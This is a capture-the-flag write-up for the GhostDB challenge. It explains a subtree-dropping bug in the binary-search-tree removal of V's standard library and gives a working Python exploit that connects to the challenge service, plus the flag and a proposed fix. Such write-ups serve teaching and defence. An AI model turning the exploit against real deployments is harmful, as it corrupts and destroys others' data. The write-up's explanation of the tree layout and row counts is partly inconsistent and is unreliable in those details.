# GhostDB - OoCTF Writeup

## Challenge Summary

GhostDB is a toy database service written in V. The flag is awarded if a single session performs more than 114,514 data manipulations. The server tracks the number of affected rows by comparing the size of a binary search tree (BST) before and after each action. The trick is to make one delete operation remove a huge number of rows due to a bug in the BST removal logic.

## Key Files

chall.v: main challenge logic
V standard library: datatypes/bstree.v (BST implementation used by GhostDB)

## Understanding the Rules

From chall.v:

Insert quota: 60,000 rows per session (free plan)
Delete quota: 1 per session
Flag condition: affected_rows > 114514

The counter is computed after each menu action:


v
rows := db.in_order_traversal().len
... action ...
affected_rows += math.abs(db.in_order_traversal().len - rows)

So if one action massively reduces the number of rows, it spikes the counter.

## Vulnerability: BSTree Remove Bug

GhostDB uses V's datatypes.BSTree for storage. The relevant deletion code (from V stdlib bstree.v):


v
if node.value == value {
    if node.left.is_init {
        mut max_node := bst.get_max_from_right(node.left)
        node.bind(mut max_node, true)
    } else if node.right.is_init {
        mut min_node := bst.get_min_from_left(node.right)
        node.bind(mut min_node, false)
    } else {
        ...
    }
}

The bug is in bind:


v
fn (mut node BSTreeNode[T]) bind(mut to_bind BSTreeNode[T], left bool) {
    node.left = to_bind.left
    node.right = to_bind.right
    node.value = to_bind.value
    node.is_init = to_bind.is_init
    to_bind = new_none_node[T](false)
}

When deleting a node with a left subtree, it replaces the node with the maximum node in the left subtree. If that max node is a leaf (typical for the maximum), its left and right are empty.

Result: the original node's entire left subtree is lost, because bind replaces the node's children with the leaf's empty children. That effectively deletes the whole left subtree.

## Exploitation Strategy

Goal: make one delete remove more than 114,514 rows.

Constraints:

Only 60,000 inserts allowed.
Only 1 delete allowed.

Idea:

Insert 60,000 rows with a carefully chosen root key m.
Arrange the other 59,999 rows so that they all become left descendants of m.
Delete m.
Due to the BST bug, the entire left subtree disappears.

This single delete removes ~59,999 rows. The affected_rows counter increases by that amount. But that is not enough to exceed 114,514.

So we repeat the delete effect by ensuring the delete actually removes almost the entire tree.

### Why It Works

We also include an initial @version row created by the challenge. After inserts, the tree has:

1 @version row
1 m row
59,998 left-subtree rows
1 extra row on the right

When m is deleted, the left subtree vanishes. The tree shrinks from 60,000 to about 2 nodes (just @version and one right-side row).

Thus the delete removes ~59,998 rows in one action.

Now consider the total affected rows:

Insert: +60,000
Delete: +59,998
Total affected rows: 119,998 > 114,514

This triggers the flag.

## Payload Construction

We need the tree shape to guarantee:

Root m
Largest left subtree (59,998 nodes)
One extra right node

We choose all keys a00000 .. a59998. All keys starting with a are lexicographically less than m, so they go into the left subtree of m.

To prevent degeneracy (deep chain), we insert them in balanced BST order, computed by recursive midpoint insertion. That keeps the left subtree large and well-formed.

We also insert one extra node a59998 at the end, plus m itself, to hit the quota of 60,000 rows exactly.

## Exploit Script

This script connects to the service, bulk inserts 60,000 rows, deletes m, and claims the flag.


python
import json, socket

def order(lo, hi, out):
    if lo > hi:
        return
    mid = (lo + hi) // 2
    out.append(mid)
    order(lo, mid - 1, out)
    order(mid + 1, hi, out)

nums = []
order(0, 59997, nums)
rows = [{"pk":"m"}] + [{"pk": f"a{i:05d}"} for i in nums] + [{"pk":"a59998"}]
payload = json.dumps(rows, separators=(',', ':'))
inputs = "2\n" + "y\n" + payload + "\n" + "3\n" + "m\n" + "4\n" + "7\n"

s = socket.create_connection(("instance.penguin.0ops.sjtu.cn", 18691), timeout=10)
s.sendall(inputs.encode())

s.settimeout(20)
chunks = []
while True:
    try:
        data = s.recv(4096)
    except socket.timeout:
        break
    if not data:
        break
    chunks.append(data)

s.close()
print(b"".join(chunks).decode(errors="ignore"))

Expected output includes:

Congratulations! Here is your flag: 0ops{...}

## Flag

0ops{t0Y_db_AnD_T0y_L4ngu4g3_DO_nOT_us3_1N_PRoduC7!0N_311ae55048483c4d}

## Fix / Mitigation

The bug is in bind: it drops the original subtree. Proper deletion should either:

replace the node's value only, without overwriting children, or
correctly reattach the predecessor/successor's remaining child and preserve the original subtree structure.

A safe fix is to update only the node's value, and then delete the predecessor/successor node separately while maintaining pointers.

## Takeaways

Counting affected rows by tree size differences is dangerous when the structure can be corrupted.
Relying on a generic BST implementation without testing removal edge cases can lead to catastrophic data loss.
Bulk insert + single delete is enough to exceed the challenge threshold.

./contents.sh

0CTF - GhostDB